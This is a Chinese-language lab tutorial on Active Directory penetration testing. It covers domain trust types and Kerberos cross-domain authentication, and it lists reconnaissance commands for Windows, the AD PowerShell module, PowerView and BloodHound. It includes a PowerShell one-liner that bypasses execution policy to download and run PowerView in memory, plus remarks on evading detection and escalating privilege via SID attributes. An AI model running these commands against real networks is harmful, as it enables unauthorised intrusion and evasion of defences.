Active Directory 渗透测试靶场(二)
字数 2028 2025-08-27 12:33:48
Active Directory 渗透测试靶场教学文档
0x00 域信任基础原理
域信任关系概述
- 建立信任的两个域之间可以互相访问资源
- 需要配合权限设置才能实现资源访问
信任方向
- 双向信任:任何一方的域都可以访问另一方
- 单向信任:
- 域A信任域B ⇒ 域A是信任域,域B是可信域
- 只有受信任域(域B)的用户可以访问信任域(域A)的资源
AD信任类型
| 信任类型 | 属性 | 信任方向 | 验证方式 | 详情 |
|---|---|---|---|---|
| 树根节点 | Transitive | 双向 | Kerberos V5或NTLM | 将新树添加到林中时自动创建 |
| 父节点-子节点 | Transitive | 双向 | Kerberos V5或NTLM | 添加子域时自动创建 |
| 快捷方式 | Transitive | 单向或双向 | Kerberos V5或NTLM | 手动创建,缩短信任路径改善认证时间 |
| 林 | Transitive | 单向或双向 | Kerberos V5或NTLM | 手动创建,用于在AD DS和林之间共享资源 |
信任传递性
- 传递性信任:A信任B,B信任C ⇒ A信任C
- 自动信任:添加子域时自动创建双向信任(父子信任和根信任)
Kerberos跨域认证流程
- DC1的Client从DC1请求TGT
- DC1用TGT响应(使用krbtgt hash加密)
- Client请求TGS
- Client请求DC2,当前域找不到服务器 ⇒ 使用Inter-realm TGT回应
- DC2返回用账户hash加密的TGS
- 客户端用TGS请求服务器
认证范围设置
- 林范围身份验证:外部林用户与本地林用户有相同访问权限
- 选择性身份验证:需手动分配每台计算机和资源的权限
0x01 域信任配置示例
DNS配置要点
- 打开DNS管理器
- 设置允许区域传送
- 验证网域资料显示正常
域信任设置
- 利用SID属性可将子域权限升级到根域
- 设置完成后可配置目录权限
0x02 Active Directory信息枚举
AD基础架构
- 使用LDAP作为访问协议
- 依赖DNS作为定位服务
- 数据库文件为NTDS.DIT
PowerShell内存加载技术
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetDomain"
基础信息收集命令
- 网络配置:
ipconfig /all(可识别DC) - 用户信息:
whoami /all - 本地组:
net localgroup - 管理员组:
net localgroup "administrators" - 开放端口:
netstat -an - 进程详情:
tasklist /V - 系统信息:
systeminfo - 计划任务:
schtasks /query /fo LIST /v - 补丁情况:
wmic qfe get Caption,Description,HotFixID,InstalledOn - ARP缓存:
arp -a - 域名:
echo %USERDOMAIN% - 域控制器:
echo %logonserver% - 域用户列表:
net user /domain - 域密码策略:
net accounts /domain - 域信任关系:
nltest /domain_trusts
Active Directory PowerShell模块
(Windows Server 2008 R2以上支持,AV识别风险低)
- 查询所有AD用户:
Get-ADUser -Filter * - 查询所有组:
Get-ADGroup -Filter * - 筛选管理员组:
Get-ADGroup -Filter {Name -like "*admin*"} | select name, GroupScope - 获取当前域信息:
Get-ADDomain - 获取AD Forest信息:
Get-ADForest - 获取所有信任域:
Get-ADTrust -Filter *
PowerView枚举技术
- 域内机器:
Get-NetComputer - 域控制器:
Get-NetDomainController - 组信息:
Get-NetGroup - 会话信息:
Get-NetSession - ACL信息:
Get-ObjectAcl - 访问权限:
Find-LocalAdminAccess -Verbose - 枚举管理员组成员:
Invoke-EnumerateLocalAdmin -Verbose
Bloodhound工具
- 安装指南:参考BloodHound Wiki
- 使用教程:参考FreeBuf文章
关键安全要点
- 域信任关系是横向移动的重要路径
- SID属性可能被用于权限提升
- PowerShell内存加载可绕过部分安全检测
- 基础命令收集的信息对渗透测试至关重要
- PowerView和Bloodhound是AD渗透的强大工具